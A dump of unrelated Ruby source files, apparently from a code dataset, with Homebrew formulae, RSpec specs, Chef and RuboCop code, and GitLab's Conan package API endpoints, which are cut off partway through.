# encoding: utf-8 module CodeAnalyzer # A checker class that takes charge of checking the sexp. class Checker # interesting nodes that the check will parse. def interesting_nodes self.class.interesting_nodes end # interesting files that the check will parse. def interesting_files self.class.interesting_files end # check if the checker will parse the node file. # # @param [String] the file name of node. # @return [Boolean] true if the checker will parse the file. def parse_file?(node_file) interesting_files.any? { |pattern| node_file =~ pattern } end # delegate to start_### according to the sexp_type, like # # start_call # start_def # # @param [Sexp] node def node_start(node) @node = node self.class.get_callbacks("start_#{node.sexp_type}".to_sym).each do |block| self.instance_exec(node, &block) end end # delegate to end_### according to the sexp_type, like # # end_call # end_def # # @param [Sexp] node def node_end(node) @node = node self.class.get_callbacks("end_#{node.sexp_type}".to_sym).each do |block| self.instance_exec(node, &block) end end # add an warning. # # @param [String] message, is the warning message # @param [String] filename, is the filename of source code # @param [Integer] line_number, is the line number of the source code which is reviewing def add_warning(message, filename = @node.file, line_number = @node.line_number) warnings << Warning.new(filename: filename, line_number: line_number, message: message) end # all warnings. def warnings @warnings ||= [] end class <<self def interesting_nodes(*nodes) @interesting_nodes ||= [] @interesting_nodes += nodes end def interesting_files(*file_patterns) @interesting_files ||= [] @interesting_files += file_patterns end def get_callbacks(name) callbacks[name] ||= [] callbacks[name] end def add_callback(*names, &block) names.each do |name| callbacks[name] ||= [] callbacks[name] << block end end def callbacks @callbacks ||= {} end end end end
25.630435
93
0.617472
bf95bfe811ffefc238485cb3181d7a8687fbecdf
382
cask "isabelle" do version "2020" sha256 "bd0353ee15b9371729e94548c849864d14531eb2e9125fde48122b4da32bd9e9" url "https://www.cl.cam.ac.uk/research/hvg/Isabelle/dist/Isabelle#{version}_macos.tar.gz" appcast "https://mirror.cse.unsw.edu.au/pub/isabelle/dist/" name "Isabelle" homepage "https://www.cl.cam.ac.uk/research/hvg/Isabelle/" app "Isabelle#{version}.app" end
31.833333
91
0.756545
ffd6a5dee9cb5dc98468af414f45abfd5070bbd0
1,355
shared_context "schools_requiring" do before(:each) do controller.should_receive(:require_current_school).any_number_of_times.and_return(true) end end shared_context "authenticated" do before(:each) do controller.stub!(:check_domain=> true) controller.should_receive(:authenticate_user!).any_number_of_times.and_return(true) controller.stub!(:current_user => mock_user(:district => District.new, "authorized_for?" => true, :roles => ["regular_user"])) end end shared_context "authorized" do before(:each) do controller.should_receive(:authorize).any_number_of_times.and_return(true) end end shared_examples_for "an authenticated controller" do it 'should have an authenticate before_filter' do before_filters(controller).should include(:authenticate_user!) end end shared_examples_for "an authorized controller" do it_should_behave_like "an authenticated controller" it 'should have an authorize before_filter' do before_filters(controller).should include(:authorize) end end shared_examples_for "a schools_requiring controller" do it 'should have an require_current_school before_filter' do before_filters(controller).should include(:require_current_school) end end def before_filters(controller) controller._process_action_callbacks.select{|k| k.kind == :before}.collect(&:filter) end
30.795455
130
0.787454
62d4ef30c5d0c365332a310f744e434380b38340
5,104
# # Author:: Daniel DeLeo (<[email protected]>) # Copyright:: Copyright 2011-2016, Chef Software Inc. # License:: Apache License, Version 2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # require_relative "../../mixin/shell_out" class Chef class Knife class CookbookSCMRepo DIRTY_REPO = /^[\s]+M/.freeze include Chef::Mixin::ShellOut attr_reader :repo_path attr_reader :default_branch attr_reader :use_current_branch attr_reader :ui def initialize(repo_path, ui, opts = {}) @repo_path = repo_path @ui = ui @default_branch = "master" @use_current_branch = false apply_opts(opts) end def sanity_check unless ::File.directory?(repo_path) ui.error("The cookbook repo path #{repo_path} does not exist or is not a directory") exit 1 end unless git_repo?(repo_path) ui.error "The cookbook repo #{repo_path} is not a git repository." ui.info("Use `git init` to initialize a git repo") exit 1 end if use_current_branch @default_branch = get_current_branch end unless branch_exists?(default_branch) ui.error "The default branch '#{default_branch}' does not exist" ui.info "If this is a new git repo, make sure you have at least one commit before installing cookbooks" exit 1 end cmd = git("status --porcelain") if cmd.stdout =~ DIRTY_REPO ui.error "You have uncommitted changes to your cookbook repo (#{repo_path}):" ui.msg cmd.stdout ui.info "Commit or stash your changes before importing cookbooks" exit 1 end # TODO: any untracked files in the cookbook directory will get nuked later # make this an error condition also. true end def reset_to_default_state ui.info("Checking out the #{default_branch} branch.") git("checkout #{default_branch}") end def prepare_to_import(cookbook_name) branch = "chef-vendor-#{cookbook_name}" if branch_exists?(branch) ui.info("Pristine copy branch (#{branch}) exists, switching to it.") git("checkout #{branch}") else ui.info("Creating pristine copy branch #{branch}") git("checkout -b #{branch}") end end def finalize_updates_to(cookbook_name, version) if update_count = updated?(cookbook_name) ui.info "#{update_count} files updated, committing changes" git("add #{cookbook_name}") git("commit -m \"Import #{cookbook_name} version #{version}\" -- #{cookbook_name}") ui.info("Creating tag cookbook-site-imported-#{cookbook_name}-#{version}") git("tag -f cookbook-site-imported-#{cookbook_name}-#{version}") true else ui.info("No changes made to #{cookbook_name}") false end end def merge_updates_from(cookbook_name, version) branch = "chef-vendor-#{cookbook_name}" Dir.chdir(repo_path) do if system("git merge #{branch}") ui.info("Cookbook #{cookbook_name} version #{version} successfully installed") else ui.error("You have merge conflicts - please resolve manually") ui.info("Merge status (cd #{repo_path}; git status):") system("git status") exit 3 end end end def updated?(cookbook_name) update_count = git("status --porcelain -- #{cookbook_name}").stdout.strip.lines.count update_count == 0 ? nil : update_count end def branch_exists?(branch_name) git("branch --no-color").stdout.lines.any? { |l| l =~ /\s#{Regexp.escape(branch_name)}(?:\s|$)/ } end def get_current_branch ref = git("symbolic-ref HEAD").stdout ref.chomp.split("/")[2] end private def git_repo?(directory) if File.directory?(File.join(directory, ".git")) true elsif File.dirname(directory) == directory false else git_repo?(File.dirname(directory)) end end def apply_opts(opts) opts.each do |option, value| case option.to_s when "default_branch" @default_branch = value when "use_current_branch" @use_current_branch = value end end end def git(command) shell_out!("git #{command}", cwd: repo_path) end end end end
31.9
113
0.610697
8766e480eaaeaa9781b6dbe17f81d7437c9ffba4
155
require File.expand_path('../../../../spec_helper', __FILE__) describe "OpenSSL::ASN1.IA5String" do it "needs to be reviewed for spec completeness" end
25.833333
61
0.722581
bf88c6f576c9e6afe3d51734aca90a97b8c39958
376
# frozen_string_literal: true # == Schema Information # # Table name: availabilities # # id :bigint(8) not null, primary key # user_id :bigint(8) # shift_id :bigint(8) # created_at :datetime not null # updated_at :datetime not null # class Availability < ApplicationRecord belongs_to :user, optional: true belongs_to :shift end
19.789474
53
0.659574
388638f417bb6b50098f26468293f4f3cea27d57
1,473
# frozen_string_literal: true module RuboCop module Cop module Style # This cop checks for usage of the %Q() syntax when %q() would do. class PercentQLiterals < Cop include PercentLiteral include ConfigurableEnforcedStyle LOWER_CASE_Q_MSG = 'Do not use `%Q` unless interpolation is ' \ 'needed. Use `%q`.'.freeze UPPER_CASE_Q_MSG = 'Use `%Q` instead of `%q`.'.freeze def on_str(node) process(node, '%Q', '%q') end private def on_percent_literal(node) return if correct_literal_style?(node) # Report offense only if changing case doesn't change semantics, # i.e., if the string would become dynamic or has special characters. return if node.children != parse(corrected(node.source)).ast.children add_offense(node, location: :begin) end def correct_literal_style?(node) style == :lower_case_q && type(node) == '%q' || style == :upper_case_q && type(node) == '%Q' end def message(_node) style == :lower_case_q ? LOWER_CASE_Q_MSG : UPPER_CASE_Q_MSG end def autocorrect(node) lambda do |corrector| corrector.replace(node.source_range, corrected(node.source)) end end def corrected(src) src.sub(src[1], src[1].swapcase) end end end end end
27.792453
79
0.581806
b9b86ee775001bad4817630656fbb67b859fde87
1,486
class MoonBuggy < Formula desc "Drive some car across the moon" homepage "https://www.seehuhn.de/pages/moon-buggy.html" url "https://m.seehuhn.de/programs/moon-buggy-1.0.tar.gz" sha256 "f8296f3fabd93aa0f83c247fbad7759effc49eba6ab5fdd7992f603d2d78e51a" license "GPL-3.0" bottle do sha256 "f4b3e7e9c36f357c628328b247bbe187467f16dde745acfd7ff2f668c22c379e" => :big_sur sha256 "65bae44959589316ec4762947051a3f737ea8545d0b93e696d0c251ef38285dc" => :catalina sha256 "d7baa37058fd1e08a0a9028a912288bde8c0699b50f7632ce792d19d52c9fa73" => :mojave sha256 "54948d0646240382661b765ab2253258946fb10b2974587d719b24a771172d91" => :high_sierra sha256 "fb2abda84d3e2b20f286caa036fadb9bfd6c4df151352a171385a54ca43acda9" => :sierra sha256 "b71bfe4abfb1d2c3d35db544850cb56f1b2ba50df18d27d3fef3ed5845b30e76" => :el_capitan sha256 "08b485a97197d8a0a2733e74622a232a8a1407ebd2564caccdffb9438176c1ee" => :yosemite end head do url "https://github.com/seehuhn/moon-buggy.git" depends_on "autoconf" => :build depends_on "automake" => :build end def install system "./autogen.sh" if build.head? system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}", "--mandir=#{man}", "--infodir=#{info}" system "make", "install" end test do assert_match /Moon-Buggy #{version}$/, shell_output("#{bin}/moon-buggy -V") end end
40.162162
93
0.720054
f7590d973a0105b097360c1a7a043e15b7a732ed
783
cask 'avocode' do version '3.6.2' sha256 'c7e091dc501bcef409682defcf489f4c7948e345be1214e781525969073ec69c' url "https://media.avocode.com/download/avocode-app/#{version}/Avocode-#{version}-mac.zip" name 'Avocode' homepage 'https://avocode.com/' auto_updates true app 'Avocode.app' zap trash: [ '~/.avocode', '~/Library/Application Support/Avocode', '~/Library/Caches/com.madebysource.avocode', '~/Library/Caches/com.madebysource.avocode.ShipIt', '~/Library/Preferences/com.madebysource.avocode.helper.plist', '~/Library/Preferences/com.madebysource.avocode.plist', '~/Library/Saved Application State/com.madebysource.avocode.savedState', ] end
34.043478
92
0.646232
211078f669f5e5a6a650407a0980d397b0701e34
776
require 'rails_helper' describe Country do subject { build(:country) } it('has many Districts') { assoc(:districts, :has_many) } it('has many Funds') { assoc(:funds, :has_many, through: :geo_areas) } it('has many Funders') { assoc(:funders, :has_many, through: :funds) } it('HABTM GeoAreas') { assoc(:geo_areas, :has_and_belongs_to_many) } it('HABTM Proposals') { assoc(:proposals, :has_and_belongs_to_many) } it('has many Recipients') { assoc(:recipients, :has_many) } it { is_expected.to be_valid } context 'unique' do before { subject.save } it 'name' do expect(build(:country, name: subject.name)).not_to be_valid end it 'alpha2' do expect(build(:country, alpha2: subject.alpha2)).not_to be_valid end end end
24.25
72
0.671392
396a60850202736aeb51a0bd0691a3d578c188e8
8,325
# -*- encoding : utf-8 -*- require File.expand_path('../spec_helper', __FILE__) describe Cequel::Type do describe 'ascii' do subject { Cequel::Type[:ascii] } its(:cql_name) { should == :ascii } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.AsciiType' } describe '#cast' do specify { expect(subject.cast('hey'.encode('UTF-8')).encoding.name). to eq('US-ASCII') } end end describe 'blob' do subject { Cequel::Type[:blob] } its(:cql_name) { should == :blob } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.BytesType' } describe '#cast' do specify { expect(subject.cast(123)).to eq(123.to_s(16)) } specify { expect(subject.cast(123).encoding.name).to eq('ASCII-8BIT') } specify { expect(subject.cast('2345').encoding.name).to eq('ASCII-8BIT') } end end describe 'boolean' do subject { Cequel::Type[:boolean] } its(:cql_name) { should == :boolean } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.BooleanType' } describe '#cast' do specify { expect(subject.cast(true)).to eq(true) } specify { expect(subject.cast(false)).to eq(false) } specify { expect(subject.cast(1)).to eq(true) } end end describe 'counter' do subject { Cequel::Type[:counter] } its(:cql_name) { should == :counter } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.CounterColumnType' } describe '#cast' do specify { expect(subject.cast(1)).to eq(1) } specify { expect(subject.cast('1')).to eq(1) } end end describe 'decimal' do subject { Cequel::Type[:decimal] } its(:cql_name) { should == :decimal } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.DecimalType' } describe '#cast' do specify { expect(subject.cast(1)).to eql(BigDecimal.new('1.0')) } specify { expect(subject.cast(1.0)).to eql(BigDecimal.new('1.0')) } specify { expect(subject.cast(1.0.to_r)).to eql(BigDecimal.new('1.0')) } specify { expect(subject.cast('1')).to eql(BigDecimal.new('1.0')) } end end describe 'double' do subject { Cequel::Type[:double] } its(:cql_name) { should == :double } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.DoubleType' } describe '#cast' do specify { expect(subject.cast(1.0)).to eql(1.0) } specify { expect(subject.cast(1)).to eql(1.0) } specify { expect(subject.cast(1.0.to_r)).to eql(1.0) } specify { expect(subject.cast('1.0')).to eql(1.0) } specify { expect(subject.cast(BigDecimal.new('1.0'))).to eql(1.0) } end end describe 'float' do subject { Cequel::Type[:float] } its(:cql_name) { should == :float } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.FloatType' } describe '#cast' do specify { expect(subject.cast(1.0)).to eql(1.0) } specify { expect(subject.cast(1)).to eql(1.0) } specify { expect(subject.cast(1.0.to_r)).to eql(1.0) } specify { expect(subject.cast('1.0')).to eql(1.0) } specify { expect(subject.cast(BigDecimal.new('1.0'))).to eql(1.0) } end end describe 'inet' do subject { Cequel::Type[:inet] } its(:cql_name) { should == :inet } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.InetAddressType' } end describe 'int' do subject { Cequel::Type[:int] } its(:cql_name) { should == :int } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.Int32Type' } describe '#cast' do specify { expect(subject.cast(1)).to eql(1) } specify { expect(subject.cast('1')).to eql(1) } specify { expect(subject.cast(1.0)).to eql(1) } specify { expect(subject.cast(1.0.to_r)).to eql(1) } specify { expect(subject.cast(BigDecimal.new('1.0'))).to eql(1) } end end describe 'bigint' do subject { Cequel::Type[:bigint] } its(:cql_name) { should == :bigint } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.LongType' } describe '#cast' do specify { expect(subject.cast(1)).to eql(1) } specify { expect(subject.cast('1')).to eql(1) } specify { expect(subject.cast(1.0)).to eql(1) } specify { expect(subject.cast(1.0.to_r)).to eql(1) } specify { expect(subject.cast(BigDecimal.new('1.0'))).to eql(1) } end end describe 'text' do subject { Cequel::Type[:text] } its(:cql_name) { should == :text } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.UTF8Type' } it { is_expected.to eq(Cequel::Type[:varchar]) } describe '#cast' do specify { expect(subject.cast('cql')).to eq('cql') } specify { expect(subject.cast(1)).to eq('1') } specify { expect(subject.cast('cql').encoding.name).to eq('UTF-8') } specify { expect(subject.cast('cql'.force_encoding('US-ASCII')). encoding.name).to eq('UTF-8') } end end describe 'timestamp' do subject { Cequel::Type[:timestamp] } its(:cql_name) { should == :timestamp } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.DateType' } describe '#cast' do let(:now) { Time.at(Time.now.to_i) } specify { expect(subject.cast(now)).to eq(now) } specify { expect(subject.cast(now.to_i)).to eq(now) } specify { expect(subject.cast(now.to_s)).to eq(now) } specify { expect(subject.cast(now.to_datetime)).to eq(now) } specify { expect(subject.cast(now.to_date)).to eq(now.to_date.to_time) } end end describe 'date' do subject { Cequel::Type[:date] } its(:cql_name) { should == :date } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.DateType' } describe '#cast' do let(:today) { Date.today } specify { expect(subject.cast(today)).to eq(today) } specify { expect(subject.cast(today.to_s)).to eq(today) } specify { expect(subject.cast(today.to_datetime)).to eq(today) } specify { expect(subject.cast(today.to_time)).to eq(today) } end end describe 'timeuuid' do subject { Cequel::Type[:timeuuid] } its(:cql_name) { should == :timeuuid } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.TimeUUIDType' } end describe 'uuid' do subject { Cequel::Type[:uuid] } its(:cql_name) { should == :uuid } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.UUIDType' } describe '#cast' do let(:uuid) { Cequel.uuid } specify { expect(subject.cast(uuid)).to eq(uuid) } specify { expect(subject.cast(uuid.to_s)).to eq(uuid) } specify { expect(subject.cast(uuid.value)).to eq(uuid) } if defined? SimpleUUID::UUID specify { expect(subject.cast(SimpleUUID::UUID.new(uuid.value))) .to eq(uuid) } end end end describe 'varint' do subject { Cequel::Type[:varint] } its(:cql_name) { should == :varint } its(:internal_name) { should == 'org.apache.cassandra.db.marshal.IntegerType' } describe '#cast' do specify { expect(subject.cast(1)).to eql(1) } specify { expect(subject.cast('1')).to eql(1) } specify { expect(subject.cast(1.0)).to eql(1) } specify { expect(subject.cast(1.0.to_r)).to eql(1) } specify { expect(subject.cast(BigDecimal.new('1.0'))).to eql(1) } end end describe '::quote' do [ ["don't", "'don''t'"], ["don't".force_encoding('US-ASCII'), "'don''t'"], ["don't".force_encoding('ASCII-8BIT'), "'don''t'"], ["3dc49a6".force_encoding('ASCII-8BIT'), "0x3dc49a6"], [["one", "two"], "'one','two'"], [1, '1'], [1.2, '1.2'], [true, 'true'], [false, 'false'], [Time.at(1401323181, 381000), '1401323181381'], [Time.at(1401323181, 381999), '1401323181382'], [Time.at(1401323181, 381000).in_time_zone, '1401323181381'], [Date.parse('2014-05-28'), "1401235200000"], [Time.at(1401323181, 381000).to_datetime, '1401323181381'], [Cequel.uuid("dbf51e0e-e6c7-11e3-be60-237d76548395"), "dbf51e0e-e6c7-11e3-be60-237d76548395"] ].each do |input, output| specify { expect(Cequel::Type.quote(input)).to eq(output) } end end end
33.979592
80
0.609129
1a801051defacf81491b297aa08a1f19214f3c66
630
# encoding: utf-8 # This file is distributed under New Relic's license terms. # See https://github.com/newrelic/rpm/blob/master/LICENSE for complete details. class SSLTest < Minitest::Test include MultiverseHelpers def setup # Similar to how jruby 1.6.8 behaves when jruby-openssl isn't installed Net::HTTPSession.any_instance.stubs('use_ssl=').with(true).raises(LoadError) Net::HTTPSession.any_instance.stubs('use_ssl=').with(false).returns(nil) end def test_agent_shuts_down_when_ssl_is_on_but_unavailable NewRelic::Agent.agent.expects(:shutdown).at_least_once run_agent(:ssl => true) end end
30
80
0.75873
5d2295cb55d4b344da8243ebb1efaf88698e612d
1,494
class Ape < Formula desc "Ajax Push Engine" homepage "https://web.archive.org/web/20200810042306/www.ape-project.org/" url "https://github.com/APE-Project/APE_Server/archive/v1.1.2.tar.gz" sha256 "c5f6ec0740f20dd5eb26c223149fc4bade3daadff02a851e2abb7e00be97db42" license "GPL-2.0" bottle do sha256 cellar: :any_skip_relocation, high_sierra: "54387a0a2a38314a0def581f67c517d9ff7f82efd431e9811cf774cf235850a3" sha256 cellar: :any_skip_relocation, sierra: "dd095fa1465e0a20613481720e26a5917c08882b340a18ab4d351a95e5eb3a3e" sha256 cellar: :any_skip_relocation, el_capitan: "259b19e211ff6d6ffc376db0b3696a912a6ac48dca83cbcbe525c78e56755c82" sha256 cellar: :any_skip_relocation, yosemite: "3859216e566e6faaccc7183d737527dd4785260a698c8344520e7951baebca76" sha256 cellar: :any_skip_relocation, x86_64_linux: "917659b43365eba970711505af1414fe3ce276e20d40c2a405b181c1a8393e78" # glibc 2.19 end disable! date: "2020-12-08", because: :unmaintained def install system "./build.sh" # The Makefile installs a configuration file in the bindir which our bot red-flags (prefix+"etc").mkdir inreplace "Makefile", "bin/ape.conf $(bindir)", "bin/ape.conf $(prefix)/etc" system "make", "install", "prefix=#{prefix}" end def caveats <<~EOS The default configuration file is stored in #{etc}. You should load aped with: aped --cfg #{etc}/ape.conf EOS end test do system "#{bin}/aped", "--version" end end
40.378378
134
0.751673
39532363b4b208796c42e197e1b0156f46e23599
2,034
require 'active_record' require 'active_record/connection_adapters/sqlite3_adapter' require 'logger' RAILS_ROOT = File.join(File.dirname(__FILE__), '..') unless defined?(RAILS_ROOT) RAILS_ENV = 'test' unless defined?(RAILS_ENV) module ActsAsFu class Connection < ActiveRecord::Base cattr_accessor :connected cattr_reader :log self.abstract_class = true def self.connect!(config={}) @@log = "" self.logger = Logger.new(StringIO.new(log)) self.establish_connection(config) end end def build_model(name, options={}, &block) connect! unless connected? klass_name = name.to_s.classify super_class = options[:superclass] || ActsAsFu::Connection contained = options[:contained] || Object begin old_klass = contained.const_get(klass_name) old_klass.reset_column_information if old_klass.respond_to?(:reset_column_information) rescue end contained.send(:remove_const, klass_name) rescue nil klass = Class.new(super_class) contained.const_set(klass_name, klass) # table_name isn't available until after the class is created. if super_class == ActsAsFu::Connection ActsAsFu::Connection.connection.create_table(klass.table_name, :force => true) { } end model_eval(klass, &block) klass end private def connect! ActsAsFu::Connection.connect!({ :adapter => "sqlite3", :database => ":memory:" }) ActsAsFu::Connection.connected = true end def connected? ActsAsFu::Connection.connected end def model_eval(klass, &block) class << klass def method_missing_with_columns(sym, *args, &block) ActsAsFu::Connection.connection.change_table(table_name) do |t| t.send(sym, *args) end end alias_method_chain :method_missing, :columns end klass.class_eval(&block) if block_given? class << klass remove_method :method_missing alias_method :method_missing, :method_missing_without_columns end end end
24.804878
92
0.692724
019b8cbfe96132c17ff28a8e25c15fba2d2197f5
466
require "bundler/setup" require "noclist" ENV['GEM_ENV']='TEST' RSpec.configure do |config| # Enable flags like --only-failures and --next-failure config.example_status_persistence_file_path = ".rspec_status" # Disable RSpec exposing methods globally on `Module` and `main` config.disable_monkey_patching! config.expect_with :rspec do |c| c.syntax = :expect end end def format(users_response) JSON.parse(users_response.body.split.to_json) end
22.190476
66
0.755365
1816acc5e16cce0e5967408566a8f4a67338ae2e
297
desc "Userにtokenを追加します。" task "onetime:add_token_to_user" => :environment do strings = [('a'..'z'), ('A'..'Z'), ('0'..'9')].map { |i| i.to_a }.flatten User.all.each do |user| random_token = (0...24).map { strings[rand(strings.length)] }.join user.update(token: random_token) end end
33
75
0.626263
6185c99e7594f6660116e4020768d003cafdf9ce
806
class Mpop < Formula desc "POP3 client" homepage "https://marlam.de/mpop/" url "https://marlam.de/mpop/releases/mpop-1.4.10.tar.xz" sha256 "9e9b6523f08df50a3d3eec75d94d4c0104ee016c0c913baaf8fbf178bf828388" license "GPL-3.0" bottle do sha256 "4d62437fccd5d773e888126e465f1cea07fdcbdc7f0b5fb826267d78747cfa0c" => :catalina sha256 "e2638049d1e7b182aa5ad981436660969d029ee3a7b2afe0cb3a3906817578f3" => :mojave sha256 "0576fae054e001c3fd7954c5b013323aa0bb54d37c7c51b400cef87144d690a1" => :high_sierra end depends_on "pkg-config" => :build depends_on "gnutls" def install system "./configure", "--prefix=#{prefix}", "--disable-dependency-tracking" system "make", "install" end test do assert_match version.to_s, shell_output("#{bin}/mpop --version") end end
31
93
0.753102
edf20b6aebee07fa96f07c0bc1be90968df812c7
14,317
# frozen_string_literal: true # Conan Package Manager Client API # # These API endpoints are not consumed directly by users, so there is no documentation for the # individual endpoints. They are called by the Conan package manager client when users run commands # like `conan install` or `conan upload`. The usage of the GitLab Conan repository is documented here: # https://docs.gitlab.com/ee/user/packages/conan_repository/#installing-a-package # # Technical debt: https://gitlab.com/gitlab-org/gitlab/issues/35798 module API module Concerns module Packages module ConanEndpoints extend ActiveSupport::Concern PACKAGE_REQUIREMENTS = { package_name: API::NO_SLASH_URL_PART_REGEX, package_version: API::NO_SLASH_URL_PART_REGEX, package_username: API::NO_SLASH_URL_PART_REGEX, package_channel: API::NO_SLASH_URL_PART_REGEX }.freeze FILE_NAME_REQUIREMENTS = { file_name: API::NO_SLASH_URL_PART_REGEX }.freeze PACKAGE_COMPONENT_REGEX = Gitlab::Regex.conan_recipe_component_regex CONAN_REVISION_REGEX = Gitlab::Regex.conan_revision_regex CONAN_REVISION_USER_CHANNEL_REGEX = Gitlab::Regex.conan_recipe_user_channel_regex CONAN_FILES = (Gitlab::Regex::Packages::CONAN_RECIPE_FILES + Gitlab::Regex::Packages::CONAN_PACKAGE_FILES).freeze included do feature_category :package_registry helpers ::API::Helpers::PackagesManagerClientsHelpers helpers ::API::Helpers::Packages::Conan::ApiHelpers helpers ::API::Helpers::RelatedResourcesHelpers before do require_packages_enabled! # Personal access token will be extracted from Bearer or Basic authorization # in the overridden find_personal_access_token or find_user_from_job_token helpers authenticate_non_get! end desc 'Ping the Conan API' do detail 'This feature was introduced in GitLab 12.2' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true get 'ping' do header 'X-Conan-Server-Capabilities', [].join(',') end desc 'Search for packages' do detail 'This feature was introduced in GitLab 12.4' end params do requires :q, type: String, desc: 'Search query' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true get 'conans/search' do service = ::Packages::Conan::SearchService.new(current_user, query: params[:q]).execute service.payload end namespace 'users' do before do authenticate! end format :txt content_type :txt, 'text/plain' desc 'Authenticate user against conan CLI' do detail 'This feature was introduced in GitLab 12.2' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true get 'authenticate' do unauthorized! unless token token.to_jwt end desc 'Check for valid user credentials per conan CLI' do detail 'This feature was introduced in GitLab 12.4' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true get 'check_credentials' do authenticate! :ok end end params do requires :package_name, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package name' requires :package_version, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package version' requires :package_username, type: String, regexp: CONAN_REVISION_USER_CHANNEL_REGEX, desc: 'Package username' requires :package_channel, type: String, regexp: CONAN_REVISION_USER_CHANNEL_REGEX, desc: 'Package channel' end namespace 'conans/:package_name/:package_version/:package_username/:package_channel', requirements: PACKAGE_REQUIREMENTS do after_validation do check_username_channel end # Get the snapshot # # the snapshot is a hash of { filename: md5 hash } # md5 hash is the has of that file. This hash is used to diff the files existing on the client # to determine which client files need to be uploaded if no recipe exists the snapshot is empty desc 'Package Snapshot' do detail 'This feature was introduced in GitLab 12.5' end params do requires :conan_package_reference, type: String, desc: 'Conan package ID' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true get 'packages/:conan_package_reference' do authorize!(:read_package, project) presenter = ::Packages::Conan::PackagePresenter.new( package, current_user, project, conan_package_reference: params[:conan_package_reference] ) present presenter, with: ::API::Entities::ConanPackage::ConanPackageSnapshot end desc 'Recipe Snapshot' do detail 'This feature was introduced in GitLab 12.5' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true get do authorize!(:read_package, project) presenter = ::Packages::Conan::PackagePresenter.new(package, current_user, project) present presenter, with: ::API::Entities::ConanPackage::ConanRecipeSnapshot end # Get the manifest # returns the download urls for the existing recipe in the registry # # the manifest is a hash of { filename: url } # where the url is the download url for the file desc 'Package Digest' do detail 'This feature was introduced in GitLab 12.5' end params do requires :conan_package_reference, type: String, desc: 'Conan package ID' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true get 'packages/:conan_package_reference/digest' do present_package_download_urls end desc 'Recipe Digest' do detail 'This feature was introduced in GitLab 12.5' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true get 'digest' do present_recipe_download_urls end # Get the download urls # # returns the download urls for the existing recipe or package in the registry # # the manifest is a hash of { filename: url } # where the url is the download url for the file desc 'Package Download Urls' do detail 'This feature was introduced in GitLab 12.5' end params do requires :conan_package_reference, type: String, desc: 'Conan package ID' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true get 'packages/:conan_package_reference/download_urls' do present_package_download_urls end desc 'Recipe Download Urls' do detail 'This feature was introduced in GitLab 12.5' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true get 'download_urls' do present_recipe_download_urls end # Get the upload urls # # request body contains { filename: filesize } where the filename is the # name of the file the conan client is requesting to upload # # returns { filename: url } # where the url is the upload url for the file that the conan client will use desc 'Package Upload Urls' do detail 'This feature was introduced in GitLab 12.4' end params do requires :conan_package_reference, type: String, desc: 'Conan package ID' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true post 'packages/:conan_package_reference/upload_urls' do authorize!(:read_package, project) status 200 present package_upload_urls, with: ::API::Entities::ConanPackage::ConanUploadUrls end desc 'Recipe Upload Urls' do detail 'This feature was introduced in GitLab 12.4' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true post 'upload_urls' do authorize!(:read_package, project) status 200 present recipe_upload_urls, with: ::API::Entities::ConanPackage::ConanUploadUrls end desc 'Delete Package' do detail 'This feature was introduced in GitLab 12.5' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true delete do authorize!(:destroy_package, project) track_package_event('delete_package', :conan, category: 'API::ConanPackages', user: current_user, project: project, namespace: project.namespace) package.destroy end end params do requires :package_name, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package name' requires :package_version, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package version' requires :package_username, type: String, regexp: CONAN_REVISION_USER_CHANNEL_REGEX, desc: 'Package username' requires :package_channel, type: String, regexp: CONAN_REVISION_USER_CHANNEL_REGEX, desc: 'Package channel' requires :recipe_revision, type: String, regexp: CONAN_REVISION_REGEX, desc: 'Conan Recipe Revision' end namespace 'files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision', requirements: PACKAGE_REQUIREMENTS do before do authenticate_non_get! end after_validation do check_username_channel end params do requires :file_name, type: String, desc: 'Package file name', values: CONAN_FILES end namespace 'export/:file_name', requirements: FILE_NAME_REQUIREMENTS do desc 'Download recipe files' do detail 'This feature was introduced in GitLab 12.6' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true get do download_package_file(:recipe_file) end desc 'Upload recipe package files' do detail 'This feature was introduced in GitLab 12.6' end params do requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true put do upload_package_file(:recipe_file) end desc 'Workhorse authorize the conan recipe file' do detail 